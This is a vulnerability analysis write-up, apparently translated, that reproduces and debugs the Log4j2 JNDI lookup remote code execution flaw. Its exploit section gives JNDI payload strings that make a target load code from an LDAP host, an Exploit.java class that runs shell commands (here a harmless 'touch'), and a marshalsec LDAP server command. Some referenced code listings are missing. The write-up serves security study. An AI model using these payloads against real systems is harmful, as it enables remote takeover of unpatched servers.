Hello, everyone!
Today we can discuss the log4j2.
Introduction to 0x01 Vulnerability
Apache Log4j2 is a Java-based logging tool. Because some functions of Apache Log4j2 have recursive analysis functions, attackers can directly construct malicious requests to trigger remote code execution vulnerabilities. Vulnerability exploitation does not require special configuration. After verification by the Alibaba Cloud security team, Apache Struts2, Apache Solr, Apache Druid, Apache Flink, etc. are all affected.
The applicable version of the vulnerability is 2.0 <= Apache log4j2 <= 2.14.1, and it is only necessary to check whether the Java application has introduced two jars, log4j-api and log4j-core. If there is application usage, it is likely to be affected.
0x02 environment construction
Create a Maven project and put the following configuration file in pom.xml
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>xxxx</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency> </dependencies> </project>
Download the compiled Apache Log4j jar package at https://logging.apache.org/log4j/2.x/download.html
Finally, add log4j-core-2.14.1.jar dependency to the project
Vulnerable code can be added after the project is created
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Main { private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}"); } }
0x03 vulnerability analysis
0x1 vulnerability trigger
The triggering of this vulnerability is quite simple, as long as the org/apache/logging/log4j/spi/AbstractLogger.java log is used for recording, and the log level is recordable, it can be triggered.
private static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { logger.error("${jndi:ldap://ip:1389/#Exploit}"); }
Once ${} is detected in the log string, it will parse the string and try to use the lookup query. Therefore, as long as the content of the log parameter can be controlled, there is a chance to exploit the vulnerability. Therefore, you can also use the following method to trigger
logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");
0x2 entry function
The entry function of this vulnerability is logIfEnabled, but if debug, info, warn, error, fatal, etc. in AbstractLogger.java are used, this function will be triggered
0x3 matching of core principles
The core principle of the vulnerability is that the two adjacent characters ${ are detected in the normal log processing process, and the replacement mechanism is triggered once a string similar to the expression structure is matched.
The replacement mechanism uses the this.config.getStrSubstitutor().replace function, and the processing function call stack is as follows
Analysis of 0x4 core principles
The key part of the vulnerability in the replace function extracts the lookup parameter in ${} . After two layers of substitute call, the relevant extraction code is as follows
Simply put, pos is the current string head pointer, and prefixMatcher.isMatch is only responsible for matching the two characters ${ . If it matches, it enters the second layer of loop matching, the principle is similar to the code. If the } character is not matched , the pos pointer is +1 normally.
The following code matches } characters
Once the } character is matched , the code enters the third stage, extracting the content of the expression and assigning it to the varNameExpr variable
So that's the end of the expression analysis part. The currently parsed string is
jndi:ldap://127.0.0.1:1389/
0x5 query of core principles
After extracting the expression content correctly, log4j will use the content as the lookup parameter to perform normal lookup queries. code show as below
Through debugging, it is found that the lookup function of the interpolator class will be divided with : as the separator to obtain the prefix content. The prefix content passed in by the author is the jndi string, so the class obtained by this.strLookupMap is the JndiLookup class, as shown in the following figure.
Then it is called through the jndiManager class and successfully executed to the javax/naming/InitialContext.java native lookup parsing function
0x04 exploit
0x1 write utilization class
Because the ldap method is used for command execution, the final command execution code must be written first.
Exploit.java
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.Reader; import javax.print.attribute.standard.PrinterMessageFromOperator; public class Exploit{ public Exploit() throws IOException,InterruptedException{ String cmd="touch /tmp/xxx"; final Process process = Runtime.getRuntime().exec(cmd); printMessage(process.getInputStream());; printMessage(process.getErrorStream()); int value=process.waitFor(); System.out.println(value); } private static void printMessage(final InputStream input) { // TODO Auto-generated method stub new Thread (new Runnable() { @Override public void run() { // TODO Auto-generated method stub Reader reader =new InputStreamReader(input); BufferedReader bf = new BufferedReader(reader); String line = null; try { while ((line=bf.readLine())!=null) { System.out.println(line); } }catch (IOException e){ e.printStackTrace(); } } }).start(); } }
After compiling the code, start the HTTP service
javac Exploit.java
0x2 open ldap service
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8800/#Exploit
0x05 summary
By reproducing and debugging this vulnerability, we have gained an in-depth understanding of the underlying principles of apache Log4j2 logging. There are many postures about the exploitation of this vulnerability on the Internet. Generally speaking, the exploitation of the vulnerability is simple, and the vulnerability is hugely harmful. Cooperating with some other services and systems may have a greater impact.
Source: https://www.anquanke.com/post/id/262668